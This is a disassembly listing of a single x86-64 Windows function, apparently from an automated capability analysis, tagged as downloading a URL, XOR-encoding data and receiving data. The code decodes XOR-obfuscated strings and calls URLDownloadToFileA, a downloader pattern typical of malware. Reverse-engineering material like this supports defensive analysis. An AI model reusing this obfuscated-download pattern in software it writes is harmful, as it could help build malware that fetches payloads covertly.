Function at 0x14003e3b0
Capabilities:
Download url
Encode data using xor
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xa0
mov rax, qword [0x1400b2040]
xor rax, rsp
mov qword [rbp + 0x4f], rax
call fcn.14003e020
mov rdx, rax
lea rcx, [rbp + 0x2f]
call fcn.140040990
nop
movdqa xmm0, xmmword [0x1400ab550]
movdqu xmmword [rbp - 0x19], xmm0
mov dword [rbp - 9], 0x70777e37
mov word [rbp - 5], 0x100
xor esi, esi
mov ecx, esi
nop
lea eax, [rcx + 9]
xor byte [rbp + rcx - 0x19], al
inc rcx
cmp rcx, 0x14
jb 0x14003e410
mov byte [rbp - 4], sil
lea rax, [rbp - 0x19]
mov rdi, 0xffffffffffffffff
nop
inc rdi
cmp byte [rax + rdi], sil
jne 0x14003e430
mov rcx, qword [rbp + 0x3f]
mov rdx, qword [rbp + 0x47]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x14003e479
lea rax, [rcx + rdi]
mov qword [rbp + 0x3f], rax
lea rbx, [rbp + 0x2f]
cmp rdx, 0xf
cmova rbx, qword [rbp + 0x2f]
add rbx, rcx
mov r8, rdi
lea rdx, [rbp - 0x19]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + rdi], sil
jmp 0x14003e48e
mov qword [rsp + 0x20], rdi
lea r9, [rbp - 0x19]
mov rdx, rdi
lea rcx, [rbp + 0x2f]
call fcn.140040c10
lea r8, [rbp + 0x2f]
cmp qword [rbp + 0x47], 0xf
cmova r8, qword [rbp + 0x2f]
movdqa xmm0, xmmword [0x1400ab560]
movdqu xmmword [rbp - 0x19], xmm0
movdqa xmm1, xmmword [0x1400ab520]
movdqu xmmword [rbp - 9], xmm1
movdqa xmm0, xmmword [0x1400ab460]
movdqu xmmword [rbp + 7], xmm0
mov dword [rbp + 0x17], 0x120f0809
mov dword [rbp + 0x1b], 0x535259
mov byte [rbp + 0x1f], 1
mov rcx, rsi
nop dword [rax + rax]
lea eax, [rcx + 9]
xor byte [rbp + rcx - 0x19], al
inc rcx
cmp rcx, 0x37
jb 0x14003e4e0
mov byte [rbp + 0x1f], sil
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea rdx, [rbp - 0x19]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rax, [rbp - 0x19]
mov qword [rbp + 0x27], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x19], xmm0
mov qword [rbp - 9], rsi
mov qword [rbp - 1], rsi
mov rdi, qword [rbp + 0x3f]
lea r14, [rbp + 0x2f]
cmp qword [rbp + 0x47], 0xf
cmova r14, qword [rbp + 0x2f]
movabs rbx, 0x7fffffffffffffff
cmp rdi, rbx
ja 0x14003e671
mov qword [rbp - 1], 0xf
cmp rdi, 0xf
ja 0x14003e563
mov qword [rbp - 9], rdi
movups xmm0, xmmword [r14]
movups xmmword [rbp - 0x19], xmm0
jmp 0x14003e5f3
mov rax, rdi
or rax, 0xf
cmp rax, rbx
jbe 0x14003e598
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400413f4
test rax, rax
je 0x14003e5c3
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14003e5d7
mov rbx, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14003e5ca
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14003e677
jmp 0x14003e57d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x14003e5d7
call fcn.1400413f4
mov rsi, rax
mov qword [rbp - 0x19], rsi
mov qword [rbp - 9], rdi
mov qword [rbp - 1], rbx
lea r8, [rdi + 1]
mov rdx, r14
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
nop
call fcn.14003dba0
nop
lea rdx, [rbp - 0x19]
mov ecx, eax
call fcn.14003de30
mov byte [0x1400b299a], al
mov rdx, qword [rbp + 0x47]
cmp rdx, 0xf
jbe 0x14003e648
inc rdx
mov rcx, qword [rbp + 0x2f]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003e643
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003e643
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140040ea0
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.140040db0
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.14003d340
nop
call fcn.140034800
int3